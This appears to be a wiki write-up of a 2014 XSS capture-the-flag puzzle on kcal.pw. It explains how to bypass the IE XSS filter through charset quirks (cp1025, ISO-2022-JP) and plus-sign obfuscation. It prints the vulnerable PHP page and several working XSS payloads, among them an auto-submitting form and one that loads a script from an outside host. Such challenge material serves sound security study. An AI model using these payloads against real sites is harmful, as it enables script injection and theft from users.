Puzzle 1 on kcal.pw
Pages 22
- Home
- Cure53 Easter Challenge '13
- Cure53 Singapore Training Challenge
- Cure53 X Mas Challenge '13
- ES6 Challenge
- H5SC Mini Challenge 4
- H5SC Mini Challenge 5
- H5SC Minichallenge 3: "Sh*t, it's CSP!"
- H5SC Minichallenge 3: "Sh*t, it's CSP!".
- JSON Hijacking Mini Challenge
- Mini Puzzle 1 on kcal.pw
- Mini Puzzle 2 on kcal.pw
- Older Challenges and Write Ups
- prompt.ml
- Puzzle 1 on kcal.pw
- Puzzle 2 on kcal.pw
- Puzzle 3 on kcal.pw
- S03 XSS Puzzle
- Shibuya.XSS JIZEN GAKUSHU Challenge
- Shibuya.XSS JIZEN GAKUSHU Challenge 2
- XSSMas Challenge 2014
- XSSMas Challenge 2015
- Show 7 more pages…
XSS Challenge Wiki
Prompt.ml
- Prompt.ml The prompt(1) Challenge
Kcal.pw Puzzles
Cure53 Challenges
H5SC Mini-Challenges
Other Challenges
Clone this wiki locally
kcal.pw Puzzle 1
XSS Puzzle published in August 2014: http://kcal.pw/puzzle.php
Intro
So in early August I (The author of the challenge, @filedescriptor) have started a new XSS challenge series "Monday XSS puzzle". As a starter, we (@filedescriptor & @mramydnei) came up with an idea of the scenario where injection appears in a meta tag's content attribute. Throughout the whole challenge, over 100k attempts were received and only 5 bypassers were able to make it through after a couple of hints were given.
Setup
The scenario actually happens in real world quite often, yet the normal solution to it is trivial. In order to make your life harder, several additional restrictions were set:
-
XFO deny
Prevents potential charset inheritance issues
-
UTF-8 charset through
<meta http-equivSide-tracker to make you believe it has nothing to deal with charset. In fact the intention is quite clear as should be picked for HTML5 document
-
htmlspecialchars
Prevents escaping from tag-attribute context
-
filtering plus sign(+)
Avoids trivial solution of UTF-7. Also the key to the answer
-
text before the injection point
Avoids trivial solutions like header refresh + javascript: combo
Solution
Once you understand the reasons behind those restrictions, it is easy to plan a strategy:
-
Disabling default charset
This can only be done abusing IE XSS filter, and that's why it has to be with
<meta http-equiv=instead of<meta charset=. -
Overriding charset
Because you need to generate tags, you need to use non-ASCII based charset or some charset quirks to achieve it. This can be done via charset attribute of meta afterwards
So far so good. Now here comes two branches, the hard way and the easy way(i.e. expected solution). @kinugawamasato and @orenhafif both managed to use some IBM charset to construct complicated payloads, which is amazing. I am not going to explain the hard way but I will share their solutions below. Now how about the easy way? Well, @kinugawamasato has published some mind-blowing charset related quirks, let's take a look:
http://l0.cm/encodings/test1/. As you may notice, ISO-2022-JP under IE has some weird behaviors which can generate both less than sign (<) and greater than sign (>), which is a perfect candidate for the solution.
However, we soon meet another barrier: the specific sequence will trigger the XSS filter making it erase all content. This is where most solvers took a lot of time on. Surely there may be other ways to trick the XSS filter into accepting the sequence, but you don't need to figure that out. Remember the fact that plus sign (+) is filtered? We can simply obfuscate the shift-sequences using the plus sign. Say something like %1B$%2BB is introduced, the XSS filter won't recognize it as the rules cannot catch it.
That's it. The remaining part is to place a XSS vector to trigger alert(1).
Code
<?php header('X-Frame-Options: deny'); ?>
<!doctype html>
<html lang='en'>
<head>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<meta name='description' content='This is about <?php echo htmlspecialchars(str_replace('+', '', $_GET['xss'])); ?>'>
<title>XSS Puzzle</title>
</head>
<body>
...
</body>
</html>Solutions
@kinugawamasato PoC
;charset=cp1025'http-equiv='Content-Type' LÉÙÔ
@É~[@ÖÔä¢
Ö¥Å~m~`JZ^NNm^mm~mNm^mmmm~mmNmm^mmmmmm~mmmmNmm^[JMOO}}N}}]
JmZNMOO}}N}}]JmmZNMOO}}N}}]JmmmmZNMO}}N}}]JmZNM[N}}]JmmmmmmZZMm]n&
<meta http-equiv=>
A second bypass submitted by @kinugawamasato requires user interaction to work:
;charset=cp1025'http-equiv='Content-Type' LÂĨ@֕Ɩä≕~m~`JZ^NNm^mm~mNm^mmmm~mmNmm^mmmmmm~mmmmNmm^[JMOO}}N}}]JmZNMOO}}N}}]JmmZNMOO}}N}}]
JmmmmZNMO}}N}}]JmZNM[N}}]JmmmmmmZZMm]nLɆفԅ@Ʉ~[n&<meta http-equiv=>
@orenhafif PoC
<body onload="document.forms(0).submit()" >
<form method="post" action="http://kcal.pw/puzzle.php?xss=;charset=cp870'+http-equiv='content-type'nL%E2%A5%87%40%D6%95%2b%D4%96%E4%A2%85%D6%A5%C5%99~m~NO%7F%7F%5Emm~mNm%5Emmm~mmNmm%5Emmmm~mmmNm%5Emmmmm~mmmmNmm%5Emmmmmm~
mmmmmNm%5E%5B~%7F%E3%83%96%E3%95%A2%E3%99%A4%7F%5E%5B%5B~%7F%E3%A3%96%E3%99%81%E3%93%85%7F%5E%5BJmZN%5BJmmZN%5BJmmmZN%5BJmmmmZ%5E%5B%5B%5B~%5BJmZN%5BJmmZN%5BJmmmZN%5BJmmmmZN%5B%5BJmZN%5BJmmmmmZN%5BJmmmmmmZN%5BJmZN%5B%5BJmZN%5BJmmZN%5BJmmmmm
Z%5E%5B%5B%5B%5B~%5B%5BJmmmmZN%5B%5BJmmmmmZN%5B%5BJmmmmmmZN%5BJmmmmm
ZN%5B%5BJmZ%5EJZJ%5B%5B%5BZJ%5B%5B%5BZM%5B%5B%5B%5BN%7FM%7FNmN%7F%5D%7F%5DM%5Dn">
<input name="<meta+http-equiv='Content-Type' " value="" />
</form>Oren Hafif's second bypass with expressions in IE 10 by using the IE7 document mode, It would also work with IE11 - but in Intranet zone only.
<meta content='ThisIsAbout=EmulateIE7' http-equiv='x-ua-compatible' style='width:expression(alert(1))' > @0x6D6172696F & @rafaybaloch PoC
<meta/http-equiv='charset=ISO-2022-JP$+B(+B$+B(+Bsvg/o+nload='alert(1)@insertScript PoC
'charset=ISO-2022-JP bla='<meta http-equiv=' $+B(+B$+B(+B
script src=//html5sec.org/test.js $+B(+B$+B(+B/script $+B(+B@harupuxa PoC
' http-equiv='' onmo%2buseover='alert(1)&x=<meta name='description' content='This is about ' http-equiv=This submission is particularly special as it is using a novel technique to bypass the security controls in place. The author of this vector simply injects an onmouseover attribute and a <meta> element. This causes the following things to happen:
- The
<meta>element on the page is being "deactivated" by the XSS filter - The deactivation turns the
<meta>into a<me#a>element - That element is of course unknown to the browser - and isn't closed of course
- That element is therefore now surrounding all other elements
- Thereby the
mousemove-event handler fires whenever the user moves the cursor anywhere on the page